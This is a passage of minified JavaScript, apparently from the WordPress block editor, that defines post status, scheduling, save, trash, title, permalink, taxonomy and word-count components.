Ym=(0,m.compose)([(0,d.withSelect)((e=&gt;{const{getPostType:t}=e(u.store),{getCurrentPost:s,getCurrentPostId:n,getEditedPostAttribute:o,isCurrentPostPublished:r,isCurrentPostScheduled:i,isEditedPostBeingScheduled:a,isEditedPostDirty:l,isAutosavingPost:c,isSavingPost:d,isSavingNonPostEntityChanges:p}=e(vc),{isPublishSidebarEnabled:m}=e(vc),h=t(o(&quot;type&quot;));return{hasPublishAction:s()._links?.[&quot;wp:action-publish&quot;]??!1,isPostTypeViewable:h?.viewable,isBeingScheduled:a(),isDirty:l(),isPublished:r(),isPublishSidebarEnabled:m(),isSaving:d()&amp;&amp;!c(),isSavingNonPostEntityChanges:p(),isScheduled:i(),currentPostId:n()}})),(0,d.withDispatch)(((e,{isPublishSidebarEnabled:t})=&gt;{const{disablePublishSidebar:s,enablePublishSidebar:n}=e(vc);return{onTogglePublishSidebar:()=&gt;{t?s():n()}}})),Hn.withFocusReturn,Hn.withConstrainedTabbing])(Zm),qm=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M17.3 10.1C17.3 7.60001 15.2 5.70001 12.5 5.70001C10.3 5.70001 8.4 7.10001 7.9 9.00001H7.7C5.7 9.00001 4 10.7 4 12.8C4 14.9 5.7 16.6 7.7 16.6H9.5V15.2H7.7C6.5 15.2 5.5 14.1 5.5 12.9C5.5 11.7 6.5 10.5 7.7 10.5H9L9.3 9.40001C9.7 8.10001 11 7.20001 12.5 7.20001C14.3 7.20001 15.8 8.50001 15.8 10.1V11.4L17.1 11.6C17.9 11.7 18.5 12.5 18.5 13.4C18.5 14.4 17.7 15.2 16.8 15.2H14.5V16.6H16.7C18.5 16.6 19.9 15.1 19.9 13.3C20 11.7 18.8 10.4 17.3 10.1Z M14.1245 14.2426L15.1852 13.182L12.0032 10L8.82007 13.1831L9.88072 14.2438L11.25 12.8745V18H12.75V12.8681L14.1245 14.2426Z&quot;})}),Km=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M17.3 10.1c0-2.5-2.1-4.4-4.8-4.4-2.2 0-4.1 1.4-4.6 3.3h-.2C5.7 9 4 10.7 4 12.8c0 2.1 1.7 3.8 3.7 3.8h9c1.8 0 3.2-1.5 3.2-3.3.1-1.6-1.1-2.9-2.6-3.2zm-.5 5.1h-9c-1.2 0-2.2-1.1-2.2-2.3s1-2.4 2.2-2.4h1.3l.3-1.1c.4-1.3 1.7-2.2 3.2-2.2 1.8 0 3.3 1.3 3.3 2.9v1.3l1.3.2c.8.1 1.4.9 1.4 1.8-.1 1-.9 1.8-1.8 1.8z&quot;})});function Qm({children:e}){const{hasStickyAction:t,postType:s}=(0,d.useSelect)((e=&gt;{const t=e(vc).getCurrentPost();return{hasStickyAction:t._links?.[&quot;wp:action-sticky&quot;]??!1,postType:e(vc).getCurrentPostType()}}),[]);return&quot;post&quot;===s&amp;&amp;t?e:null}function Xm(){const e=(0,d.useSelect)((e=&gt;e(vc).getEditedPostAttribute(&quot;sticky&quot;)??!1),[]),{editPost:t}=(0,d.useDispatch)(vc);return(0,c.jsx)(Qm,{children:(0,c.jsx)(Hn.CheckboxControl,{className:&quot;editor-post-sticky__checkbox-control&quot;,label:(0,fs.__)(&quot;Sticky&quot;),help:(0,fs.__)(&quot;Pin this post to the top of the blog.&quot;),checked:e,onChange:()=&gt;t({sticky:!e}),__nextHasNoMarginBottom:!0})})}const Jm={&quot;auto-draft&quot;:{label:(0,fs.__)(&quot;Draft&quot;),icon:br},draft:{label:(0,fs.__)(&quot;Draft&quot;),icon:br},pending:{label:(0,fs.__)(&quot;Pending&quot;),icon:xr},private:{label:(0,fs.__)(&quot;Private&quot;),icon:vr},future:{label:(0,fs.__)(&quot;Scheduled&quot;),icon:yr},publish:{label:(0,fs.__)(&quot;Published&quot;),icon:wr}},eh=[{label:(0,fs.__)(&quot;Draft&quot;),value:&quot;draft&quot;,description:(0,fs.__)(&quot;Not ready to publish.&quot;)},{label:(0,fs.__)(&quot;Pending&quot;),value:&quot;pending&quot;,description:(0,fs.__)(&quot;Waiting for review before publishing.&quot;)},{label:(0,fs.__)(&quot;Private&quot;),value:&quot;private&quot;,description:(0,fs.__)(&quot;Only visible to site admins and editors.&quot;)},{label:(0,fs.__)(&quot;Scheduled&quot;),value:&quot;future&quot;,description:(0,fs.__)(&quot;Publish automatically on a chosen date.&quot;)},{label:(0,fs.__)(&quot;Published&quot;),value:&quot;publish&quot;,description:(0,fs.__)(&quot;Visible to everyone.&quot;)}],th=[I,B,N,R];function sh(){const{status:e,date:t,password:s,postId:n,postType:o,canEdit:r}=(0,d.useSelect)((e=&gt;{const{getEditedPostAttribute:t,getCurrentPostId:s,getCurrentPostType:n,getCurrentPost:o}=e(vc);return{status:t(&quot;status&quot;),date:t(&quot;date&quot;),password:t(&quot;password&quot;),postId:s(),postType:n(),canEdit:o()._links?.[&quot;wp:action-publish&quot;]??!1}}),[]),[i,a]=(0,p.useState)(!!s),l=(0,m.useInstanceId)(sh,&quot;editor-change-status__password-input&quot;),{editEntityRecord:h}=(0,d.useDispatch)(u.store),[_,f]=(0,p.useState)(null),b=(0,p.useMemo)((()=&gt;({anchor:_,&quot;aria-label&quot;:(0,fs.__)(&quot;Status &amp; visibility&quot;),headerTitle:(0,fs.__)(&quot;Status &amp; visibility&quot;),placement:&quot;left-start&quot;,offset:36,shift:!0})),[_]);if(th.includes(o))return null;const y=({status:r=e,password:i=s,date:a=t})=&gt;{h(&quot;postType&quot;,o,n,{status:r,date:a,password:i})},x=e=&gt;{a(e),e||y({password:&quot;&quot;})},v=n=&gt;{let o=t,r=s;&quot;future&quot;===e&amp;&amp;new Date(t)&gt;new Date&amp;&amp;(o=null),&quot;private&quot;===n&amp;&amp;s&amp;&amp;(r=&quot;&quot;),y({status:n,date:o,password:r})};return(0,c.jsx)(Rd,{label:(0,fs.__)(&quot;Status&quot;),ref:f,children:r?(0,c.jsx)(Hn.Dropdown,{className:&quot;editor-post-status&quot;,contentClassName:&quot;editor-change-status__content&quot;,popoverProps:b,focusOnMount:!0,renderToggle:({onToggle:t,isOpen:s})=&gt;(0,c.jsx)(Hn.Button,{className:&quot;editor-post-status__toggle&quot;,variant:&quot;tertiary&quot;,size:&quot;compact&quot;,onClick:t,icon:Jm[e]?.icon,&quot;aria-label&quot;:(0,fs.sprintf)((0,fs.__)(&quot;Change status: %s&quot;),Jm[e]?.label),&quot;aria-expanded&quot;:s,children:Jm[e]?.label}),renderContent:({onClose:t})=&gt;(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(g.__experimentalInspectorPopoverHeader,{title:(0,fs.__)(&quot;Status &amp; visibility&quot;),onClose:t}),(0,c.jsx)(&quot;form&quot;,{onSubmit:e=&gt;{e.preventDefault(),t()},children:(0,c.jsxs)(Hn.__experimentalVStack,{spacing:4,children:[(0,c.jsx)(Hn.RadioControl,{className:&quot;editor-change-status__options&quot;,hideLabelFromVision:!0,label:(0,fs.__)(&quot;Status&quot;),options:eh,onChange:v,selected:&quot;auto-draft&quot;===e?&quot;draft&quot;:e}),&quot;future&quot;===e&amp;&amp;(0,c.jsx)(&quot;div&quot;,{className:&quot;editor-change-status__publish-date-wrapper&quot;,children:(0,c.jsx)(lm,{showPopoverHeaderActions:!1,isCompact:!0})}),&quot;private&quot;!==e&amp;&amp;(0,c.jsxs)(Hn.__experimentalVStack,{as:&quot;fieldset&quot;,spacing:4,className:&quot;editor-change-status__password-fieldset&quot;,children:[(0,c.jsx)(Hn.CheckboxControl,{__nextHasNoMarginBottom:!0,label:(0,fs.__)(&quot;Password protected&quot;),help:(0,fs.__)(&quot;Only visible to those who know the password.&quot;),checked:i,onChange:x}),i&amp;&amp;(0,c.jsx)(&quot;div&quot;,{className:&quot;editor-change-status__password-input&quot;,children:(0,c.jsx)(Hn.TextControl,{label:(0,fs.__)(&quot;Password&quot;),onChange:e=&gt;y({password:e}),value:s,placeholder:(0,fs.__)(&quot;Use a secure password&quot;),type:&quot;text&quot;,id:l,__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,maxLength:255})})]}),(0,c.jsx)(Xm,{})]})})]})}):(0,c.jsx)(&quot;div&quot;,{className:&quot;editor-post-status is-read-only&quot;,children:Jm[e]?.label})})}function nh({forceIsDirty:e}){const[t,s]=(0,p.useState)(!1),n=(0,m.useViewportMatch)(&quot;small&quot;),{isAutosaving:o,isDirty:r,isNew:i,isPublished:a,isSaveable:l,isSaving:u,isScheduled:h,hasPublishAction:g,showIconLabels:_,postStatus:f,postStatusHasChanged:b}=(0,d.useSelect)((t=&gt;{const{isEditedPostNew:s,isCurrentPostPublished:n,isCurrentPostScheduled:o,isEditedPostDirty:r,isSavingPost:i,isEditedPostSaveable:a,getCurrentPost:l,isAutosavingPost:c,getEditedPostAttribute:d,getPostEdits:u}=t(vc),{get:p}=t(C.store);return{isAutosaving:c(),isDirty:e||r(),isNew:s(),isPublished:n(),isSaving:i(),isSaveable:a(),isScheduled:o(),hasPublishAction:l()?._links?.[&quot;wp:action-publish&quot;]??!1,showIconLabels:p(&quot;core&quot;,&quot;showIconLabels&quot;),postStatus:d(&quot;status&quot;),postStatusHasChanged:!!u()?.status}}),[e]),y=&quot;pending&quot;===f,{savePost:x}=(0,d.useDispatch)(vc),v=(0,m.usePrevious)(u);if((0,p.useEffect)((()=&gt;{let e;return v&amp;&amp;!u&amp;&amp;(s(!0),e=setTimeout((()=&gt;{s(!1)}),1e3)),()=&gt;clearTimeout(e)}),[u]),!g&amp;&amp;y)return null;const w=![&quot;pending&quot;,&quot;draft&quot;,&quot;auto-draft&quot;].includes(f)&amp;&amp;eh.map((({value:e})=&gt;e)).includes(f);if(a||h||w||b&amp;&amp;[&quot;pending&quot;,&quot;draft&quot;].includes(f))return null;const S=y?(0,fs.__)(&quot;Save as pending&quot;):(0,fs.__)(&quot;Save draft&quot;),k=(0,fs.__)(&quot;Save&quot;),P=t||!i&amp;&amp;!r,j=u||P,E=u||P||!l;let T;return u?T=o?(0,fs.__)(&quot;Autosaving&quot;):(0,fs.__)(&quot;Saving&quot;):P?T=(0,fs.__)(&quot;Saved&quot;):n?T=S:_&amp;&amp;(T=k),(0,c.jsxs)(Hn.Button,{className:l||u?mr({&quot;editor-post-save-draft&quot;:!j,&quot;editor-post-saved-state&quot;:j,&quot;is-saving&quot;:u,&quot;is-autosaving&quot;:o,&quot;is-saved&quot;:P,[(0,Hn.__unstableGetAnimateClassName)({type:&quot;loading&quot;})]:u}):void 0,onClick:E?void 0:()=&gt;x(),shortcut:E?void 0:ll.displayShortcut.primary(&quot;s&quot;),variant:&quot;tertiary&quot;,size:&quot;compact&quot;,icon:n?void 0:qm,label:T||S,&quot;aria-disabled&quot;:E,children:[j&amp;&amp;(0,c.jsx)(ei,{icon:P?zn:Km}),T]})}function oh({children:e}){return(0,d.useSelect)((e=&gt;e(vc).getCurrentPost()._links?.[&quot;wp:action-publish&quot;]??!1),[])?e:null}const rh=[I,B,N,R];function ih(){const[e,t]=(0,p.useState)(null),s=(0,d.useSelect)((e=&gt;e(vc).getCurrentPostType()),[]),n=(0,p.useMemo)((()=&gt;({anchor:e,&quot;aria-label&quot;:(0,fs.__)(&quot;Change publish date&quot;),placement:&quot;left-start&quot;,offset:36,shift:!0})),[e]),o=dm(),r=dm({full:!0});return rh.includes(s)?null:(0,c.jsx)(oh,{children:(0,c.jsx)(Rd,{label:(0,fs.__)(&quot;Publish&quot;),ref:t,children:(0,c.jsx)(Hn.Dropdown,{popoverProps:n,focusOnMount:!0,className:&quot;editor-post-schedule__panel-dropdown&quot;,contentClassName:&quot;editor-post-schedule__dialog&quot;,renderToggle:({onToggle:e,isOpen:t})=&gt;(0,c.jsx)(Hn.Button,{size:&quot;compact&quot;,className:&quot;editor-post-schedule__dialog-toggle&quot;,variant:&quot;tertiary&quot;,tooltipPosition:&quot;middle left&quot;,onClick:e,&quot;aria-label&quot;:(0,fs.sprintf)((0,fs.__)(&quot;Change date: %s&quot;),o),label:r,showTooltip:o!==r,&quot;aria-expanded&quot;:t,children:o}),renderContent:({onClose:e})=&gt;(0,c.jsx)(am,{onClose:e})})})})}function ah(){k()(&quot;wp.editor.PostSwitchToDraftButton&quot;,{since:&quot;6.7&quot;,version:&quot;6.9&quot;});const[e,t]=(0,p.useState)(!1),{editPost:s,savePost:n}=(0,d.useDispatch)(vc),{isSaving:o,isPublished:r,isScheduled:i}=(0,d.useSelect)((e=&gt;{const{isSavingPost:t,isCurrentPostPublished:s,isCurrentPostScheduled:n}=e(vc);return{isSaving:t(),isPublished:s(),isScheduled:n()}}),[]),a=o||!r&amp;&amp;!i;let l,u;r?(l=(0,fs.__)(&quot;Are you sure you want to unpublish this post?&quot;),u=(0,fs.__)(&quot;Unpublish&quot;)):i&amp;&amp;(l=(0,fs.__)(&quot;Are you sure you want to unschedule this post?&quot;),u=(0,fs.__)(&quot;Unschedule&quot;));return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,className:&quot;editor-post-switch-to-draft&quot;,onClick:()=&gt;{a||t(!0)},&quot;aria-disabled&quot;:a,variant:&quot;secondary&quot;,style:{flexGrow:&quot;1&quot;,justifyContent:&quot;center&quot;},children:(0,fs.__)(&quot;Switch to draft&quot;)}),(0,c.jsx)(Hn.__experimentalConfirmDialog,{isOpen:e,onConfirm:()=&gt;{t(!1),s({status:&quot;draft&quot;}),n()},onCancel:()=&gt;t(!1),confirmButtonText:u,children:l})]})}function lh(){const{syncStatus:e,postType:t}=(0,d.useSelect)((e=&gt;{const{getEditedPostAttribute:t}=e(vc),s=t(&quot;meta&quot;);return{syncStatus:&quot;unsynced&quot;===s?.wp_pattern_sync_status?&quot;unsynced&quot;:t(&quot;wp_pattern_sync_status&quot;),postType:t(&quot;type&quot;)}}));return&quot;wp_block&quot;!==t?null:(0,c.jsx)(Rd,{label:(0,fs.__)(&quot;Sync status&quot;),children:(0,c.jsx)(&quot;div&quot;,{className:&quot;editor-post-sync-status__value&quot;,children:&quot;unsynced&quot;===e?(0,fs._x)(&quot;Not synced&quot;,&quot;pattern (singular)&quot;):(0,fs._x)(&quot;Synced&quot;,&quot;pattern (singular)&quot;)})})}const ch=e=&gt;e;var dh=function({taxonomyWrapper:e=ch}){const{postType:t,taxonomies:s}=(0,d.useSelect)((e=&gt;({postType:e(vc).getCurrentPostType(),taxonomies:e(u.store).getEntityRecords(&quot;root&quot;,&quot;taxonomy&quot;,{per_page:-1})})),[]);return(s??[]).filter((e=&gt;e.types.includes(t)&amp;&amp;e.visibility?.show_ui)).map((t=&gt;{const s=t.hierarchical?Am:Sm,n={slug:t.slug,...t.hierarchical?{}:{__nextHasNoMarginBottom:!0}};return(0,c.jsx)(p.Fragment,{children:e((0,c.jsx)(s,{...n}),t)},`taxonomy-${t.slug}`)}))};function uh({children:e}){const t=(0,d.useSelect)((e=&gt;{const t=e(vc).getCurrentPostType(),s=e(u.store).getEntityRecords(&quot;root&quot;,&quot;taxonomy&quot;,{per_page:-1});return s?.some((e=&gt;e.types.includes(t)))}),[]);return t?e:null}function ph({taxonomy:e,children:t}){const s=e?.slug,n=s?`taxonomy-panel-${s}`:&quot;&quot;,{isEnabled:o,isOpened:r}=(0,d.useSelect)((e=&gt;{const{isEditorPanelEnabled:t,isEditorPanelOpened:o}=e(vc);return{isEnabled:!!s&amp;&amp;t(n),isOpened:!!s&amp;&amp;o(n)}}),[n,s]),{toggleEditorPanelOpened:i}=(0,d.useDispatch)(vc);if(!o)return null;const a=e?.labels?.menu_name;return a?(0,c.jsx)(Hn.PanelBody,{title:a,opened:r,onToggle:()=&gt;i(n),children:t}):null}function mh(){return(0,c.jsx)(uh,{children:(0,c.jsx)(dh,{taxonomyWrapper:(e,t)=&gt;(0,c.jsx)(ph,{taxonomy:t,children:e})})})}var hh=s(4132);function gh(){const e=(0,m.useInstanceId)(gh),{content:t,blocks:s,type:n,id:o}=(0,d.useSelect)((e=&gt;{const{getEditedEntityRecord:t}=e(u.store),{getCurrentPostType:s,getCurrentPostId:n}=e(vc),o=s(),r=n(),i=t(&quot;postType&quot;,o,r);return{content:i?.content,blocks:i?.blocks,type:o,id:r}}),[]),{editEntityRecord:r}=(0,d.useDispatch)(u.store),i=(0,p.useMemo)((()=&gt;t instanceof Function?t({blocks:s}):s?(0,x.__unstableSerializeAndClean)(s):t),[t,s]);return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(Hn.VisuallyHidden,{as:&quot;label&quot;,htmlFor:`post-content-${e}`,children:(0,fs.__)(&quot;Type text or HTML&quot;)}),(0,c.jsx)(hh.A,{autoComplete:&quot;off&quot;,dir:&quot;auto&quot;,value:i,onChange:e=&gt;{r(&quot;postType&quot;,n,o,{content:e.target.value,blocks:void 0,selection:void 0})},className:&quot;editor-post-text-editor&quot;,id:`post-content-${e}`,placeholder:(0,fs.__)(&quot;Start writing with text or HTML&quot;)})]})}const _h=&quot;wp-block wp-block-post-title block-editor-block-list__block editor-post-title editor-post-title__input rich-text&quot;,fh=/[\r\n]+/g;function bh(e){const t=(0,p.useRef)(),{isCleanNewPost:s}=(0,d.useSelect)((e=&gt;{const{isCleanNewPost:t}=e(vc);return{isCleanNewPost:t()}}),[]);return(0,p.useImperativeHandle)(e,(()=&gt;({focus:()=&gt;{t?.current?.focus()}}))),(0,p.useEffect)((()=&gt;{if(!t.current)return;const{defaultView:e}=t.current.ownerDocument,{name:n,parent:o}=e,r=&quot;editor-canvas&quot;===n?o.document:e.document,{activeElement:i,body:a}=r;!s||i&amp;&amp;a!==i||t.current.focus()}),[s]),{ref:t}}function yh(){const{editPost:e}=(0,d.useDispatch)(vc),{title:t}=(0,d.useSelect)((e=&gt;{const{getEditedPostAttribute:t}=e(vc);return{title:t(&quot;title&quot;)}}),[]);return{title:t,setTitle:function(t){e({title:t})}}}const xh=(0,p.forwardRef)(((e,t)=&gt;{const{placeholder:s}=(0,d.useSelect)((e=&gt;{const{getSettings:t}=e(g.store),{titlePlaceholder:s}=t();return{placeholder:s}}),[]),[n,o]=(0,p.useState)(!1),{ref:r}=bh(t),{title:i,setTitle:a}=yh(),[l,u]=(0,p.useState)({}),{clearSelectedBlock:h,insertBlocks:_,insertDefaultBlock:f}=(0,d.useDispatch)(g.store),b=(0,Ln.decodeEntities)(s)||(0,fs.__)(&quot;Add title&quot;),{value:y,onChange:v,ref:w}=(0,$c.__unstableUseRichText)({value:i,onChange(e){a(e.replace(fh,&quot; &quot;))},placeholder:b,selectionStart:l.start,selectionEnd:l.end,onSelectionChange(e,t){u((s=&gt;{const{start:n,end:o}=s;return n===e&amp;&amp;o===t?s:{start:e,end:t}}))},__unstableDisableFormats:!1});function S(e){_(e,0)}const k=mr(_h,{&quot;is-selected&quot;:n});return(0,c.jsx)(&quot;h1&quot;,{ref:(0,m.useMergeRefs)([w,r]),contentEditable:!0,className:k,&quot;aria-label&quot;:b,role:&quot;textbox&quot;,&quot;aria-multiline&quot;:&quot;true&quot;,onFocus:function(){o(!0),h()},onBlur:function(){o(!1),u({})},onKeyDown:function(e){e.keyCode===ll.ENTER&amp;&amp;(e.preventDefault(),f(void 0,void 0,0))},onPaste:function(e){const t=e.clipboardData;let s=&quot;&quot;,n=&quot;&quot;;try{s=t.getData(&quot;text/plain&quot;),n=t.getData(&quot;text/html&quot;)}catch(e){return}window.console.log(&quot;Received HTML:\n\n&quot;,n),window.console.log(&quot;Received plain text:\n\n&quot;,s);const o=(0,x.pasteHandler)({HTML:n,plainText:s});if(e.preventDefault(),o.length)if(&quot;string&quot;!=typeof o){const[e]=o;if(i||&quot;core/heading&quot;!==e.name&amp;&amp;&quot;core/paragraph&quot;!==e.name)S(o);else{const t=(0,Uc.__unstableStripHTML)(e.attributes.content);a(t),S(o.slice(1))}}else{const e=(0,Uc.__unstableStripHTML)(o);v((0,$c.insert)(y,(0,$c.create)({html:e})))}}})}));var vh=(0,p.forwardRef)(((e,t)=&gt;(0,c.jsx)(Id,{supportKeys:&quot;title&quot;,children:(0,c.jsx)(xh,{ref:t})})));var wh=(0,p.forwardRef)((function(e,t){const{placeholder:s}=(0,d.useSelect)((e=&gt;{const{getSettings:t}=e(g.store),{titlePlaceholder:s}=t();return{placeholder:s}}),[]),[n,o]=(0,p.useState)(!1),{title:r,setTitle:i}=yh(),{ref:a}=bh(t),l=mr(_h,{&quot;is-selected&quot;:n,&quot;is-raw-text&quot;:!0}),u=(0,Ln.decodeEntities)(s)||(0,fs.__)(&quot;Add title&quot;);return(0,c.jsx)(Hn.TextareaControl,{ref:a,value:r,onChange:function(e){i(e.replace(fh,&quot; &quot;))},onFocus:function(){o(!0)},onBlur:function(){o(!1)},label:s,className:l,placeholder:u,hideLabelFromVision:!0,autoComplete:&quot;off&quot;,dir:&quot;auto&quot;,rows:1,__nextHasNoMarginBottom:!0})}));function Sh({children:e}){const{canTrashPost:t}=(0,d.useSelect)((e=&gt;{const{isEditedPostNew:t,getCurrentPostId:s,getCurrentPostType:n}=e(vc),{canUser:o}=e(u.store),r=n(),i=s(),a=t(),l=!!i&amp;&amp;o(&quot;delete&quot;,{kind:&quot;postType&quot;,name:r,id:i});return{canTrashPost:(!a||i)&amp;&amp;l&amp;&amp;!M.includes(r)}}),[]);return t?e:null}function kh({onActionPerformed:e}){const t=(0,d.useRegistry)(),{isNew:s,isDeleting:n,postId:o,title:r}=(0,d.useSelect)((e=&gt;{const t=e(vc);return{isNew:t.isEditedPostNew(),isDeleting:t.isDeletingPost(),postId:t.getCurrentPostId(),title:t.getCurrentPostAttribute(&quot;title&quot;)}}),[]),{trashPost:i}=(0,d.useDispatch)(vc),[a,l]=(0,p.useState)(!1);if(s||!o)return null;return(0,c.jsxs)(Sh,{children:[(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,className:&quot;editor-post-trash&quot;,isDestructive:!0,variant:&quot;secondary&quot;,isBusy:n,&quot;aria-disabled&quot;:n,onClick:n?void 0:()=&gt;l(!0),children:(0,fs.__)(&quot;Move to trash&quot;)}),(0,c.jsx)(Hn.__experimentalConfirmDialog,{isOpen:a,onConfirm:async()=&gt;{l(!1),await i();const s=await t.resolveSelect(vc).getCurrentPost();e?.(&quot;move-to-trash&quot;,[s])},onCancel:()=&gt;l(!1),confirmButtonText:(0,fs.__)(&quot;Move to trash&quot;),size:&quot;small&quot;,children:(0,fs.sprintf)((0,fs.__)(&#039;Are you sure you want to move &quot;%s&quot; to the trash?&#039;),r)})]})}function Ch({onClose:e}){const{isEditable:t,postSlug:s,postLink:n,permalinkPrefix:o,permalinkSuffix:r,permalink:i}=(0,d.useSelect)((e=&gt;{const t=e(vc).getCurrentPost(),s=e(vc).getCurrentPostType(),n=e(u.store).getPostType(s),o=e(vc).getPermalinkParts(),r=t?._links?.[&quot;wp:action-publish&quot;]??!1;return{isEditable:e(vc).isPermalinkEditable()&amp;&amp;r,postSlug:(0,w.safeDecodeURIComponent)(e(vc).getEditedPostSlug()),viewPostLabel:n?.labels.view_item,postLink:t.link,permalinkPrefix:o?.prefix,permalinkSuffix:o?.suffix,permalink:(0,w.safeDecodeURIComponent)(e(vc).getPermalink())}}),[]),{editPost:a}=(0,d.useDispatch)(vc),{createNotice:l}=(0,d.useDispatch)(_s.store),[h,_]=(0,p.useState)(!1),f=(0,m.useCopyToClipboard)(i,(()=&gt;{l(&quot;info&quot;,(0,fs.__)(&quot;Copied Permalink to clipboard.&quot;),{isDismissible:!0,type:&quot;snackbar&quot;})})),b=&quot;editor-post-url__slug-description-&quot;+(0,m.useInstanceId)(Ch);return(0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-post-url&quot;,children:[(0,c.jsx)(g.__experimentalInspectorPopoverHeader,{title:(0,fs.__)(&quot;Slug&quot;),onClose:e}),(0,c.jsxs)(Hn.__experimentalVStack,{spacing:3,children:[t&amp;&amp;(0,c.jsx)(&quot;p&quot;,{className:&quot;editor-post-url__intro&quot;,children:(0,p.createInterpolateElement)((0,fs.__)(&quot;&lt;span&gt;Customize the last part of the Permalink.&lt;/span&gt; &lt;a&gt;Learn more.&lt;/a&gt;&quot;),{span:(0,c.jsx)(&quot;span&quot;,{id:b}),a:(0,c.jsx)(Hn.ExternalLink,{href:(0,fs.__)(&quot;https://wordpress.org/documentation/article/page-post-settings-sidebar/#permalink&quot;)})})}),(0,c.jsxs)(&quot;div&quot;,{children:[t&amp;&amp;(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(Hn.__experimentalInputControl,{__next40pxDefaultSize:!0,prefix:(0,c.jsx)(Hn.__experimentalInputControlPrefixWrapper,{children:&quot;/&quot;}),suffix:(0,c.jsx)(Hn.__experimentalInputControlSuffixWrapper,{variant:&quot;control&quot;,children:(0,c.jsx)(Hn.Button,{icon:Tr,ref:f,size:&quot;small&quot;,label:&quot;Copy&quot;})}),label:(0,fs.__)(&quot;Slug&quot;),hideLabelFromVision:!0,value:h?&quot;&quot;:s,autoComplete:&quot;off&quot;,spellCheck:&quot;false&quot;,type:&quot;text&quot;,className:&quot;editor-post-url__input&quot;,onChange:e=&gt;{a({slug:e}),e?h&amp;&amp;_(!1):h||_(!0)},onBlur:e=&gt;{a({slug:(0,w.cleanForSlug)(e.target.value)}),h&amp;&amp;_(!1)},&quot;aria-describedby&quot;:b}),(0,c.jsxs)(&quot;p&quot;,{className:&quot;editor-post-url__permalink&quot;,children:[(0,c.jsx)(&quot;span&quot;,{className:&quot;editor-post-url__permalink-visual-label&quot;,children:(0,fs.__)(&quot;Permalink:&quot;)}),(0,c.jsxs)(Hn.ExternalLink,{className:&quot;editor-post-url__link&quot;,href:n,target:&quot;_blank&quot;,children:[(0,c.jsx)(&quot;span&quot;,{className:&quot;editor-post-url__link-prefix&quot;,children:o}),(0,c.jsx)(&quot;span&quot;,{className:&quot;editor-post-url__link-slug&quot;,children:s}),(0,c.jsx)(&quot;span&quot;,{className:&quot;editor-post-url__link-suffix&quot;,children:r})]})]})]}),!t&amp;&amp;(0,c.jsx)(Hn.ExternalLink,{className:&quot;editor-post-url__link&quot;,href:n,target:&quot;_blank&quot;,children:n})]})]})]})}function Ph({children:e}){const t=(0,d.useSelect)((e=&gt;{const t=e(vc).getCurrentPostType(),s=e(u.store).getPostType(t);if(!s?.viewable)return!1;if(!e(vc).getCurrentPost().link)return!1;return!!e(vc).getPermalinkParts()}),[]);return t?e:null}function jh(){return Eh()}function Eh(){const e=(0,d.useSelect)((e=&gt;e(vc).getPermalink()),[]);return(0,w.filterURLForDisplay)((0,w.safeDecodeURIComponent)(e))}function Th(){const{isFrontPage:e}=(0,d.useSelect)((e=&gt;{const{getCurrentPostId:t}=e(vc),{getEditedEntityRecord:s,canUser:n}=e(u.store),o=n(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?s(&quot;root&quot;,&quot;site&quot;):void 0,r=t();return{isFrontPage:o?.page_on_front===r}}),[]),[t,s]=(0,p.useState)(null),n=(0,p.useMemo)((()=&gt;({anchor:t,placement:&quot;left-start&quot;,offset:36,shift:!0})),[t]),o=e?(0,fs.__)(&quot;Link&quot;):(0,fs.__)(&quot;Slug&quot;);return(0,c.jsx)(Ph,{children:(0,c.jsxs)(Rd,{label:o,ref:s,children:[!e&amp;&amp;(0,c.jsx)(Hn.Dropdown,{popoverProps:n,className:&quot;editor-post-url__panel-dropdown&quot;,contentClassName:&quot;editor-post-url__panel-dialog&quot;,focusOnMount:!0,renderToggle:({isOpen:e,onToggle:t})=&gt;(0,c.jsx)(Ih,{isOpen:e,onClick:t}),renderContent:({onClose:e})=&gt;(0,c.jsx)(Ch,{onClose:e})}),e&amp;&amp;(0,c.jsx)(Bh,{})]})})}function Ih({isOpen:e,onClick:t}){const{slug:s}=(0,d.useSelect)((e=&gt;({slug:e(vc).getEditedPostSlug()})),[]),n=(0,w.safeDecodeURIComponent)(s);return(0,c.jsx)(Hn.Button,{size:&quot;compact&quot;,className:&quot;editor-post-url__panel-toggle&quot;,variant:&quot;tertiary&quot;,&quot;aria-expanded&quot;:e,&quot;aria-label&quot;:(0,fs.sprintf)((0,fs.__)(&quot;Change link: %s&quot;),n),onClick:t,children:(0,c.jsx)(c.Fragment,{children:n})})}function Bh(){const{postLink:e}=(0,d.useSelect)((e=&gt;{const{getCurrentPost:t}=e(vc);return{postLink:t()?.link}}),[]);return(0,c.jsx)(Hn.ExternalLink,{className:&quot;editor-post-url__front-page-link&quot;,href:e,target:&quot;_blank&quot;,children:e})}function Nh({render:e}){return e({canEdit:(0,d.useSelect)((e=&gt;e(vc).getCurrentPost()._links?.[&quot;wp:action-publish&quot;]??!1))})}var Rh=(0,c.jsx)(L.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,c.jsx)(L.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M5.5 12a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0ZM12 4a8 8 0 1 0 0 16 8 8 0 0 0 0-16Zm.75 4v1.5h-1.5V8h1.5Zm0 8v-5h-1.5v5h1.5Z&quot;})});const Dh=window.wp.wordcount;function Ah(){const e=(0,d.useSelect)((e=&gt;e(vc).getEditedPostAttribute(&quot;content&quot;)),[]),t=(0,fs._x)(&quot;words&quot;,&quot;Word count type. Do not translate!&quot;);return(0,c.jsx)(&quot;span&quot;,{className:&quot;word-count&quot;,children:(0,Dh.count)(e,t)})}const Mh=189;function Lh(){const 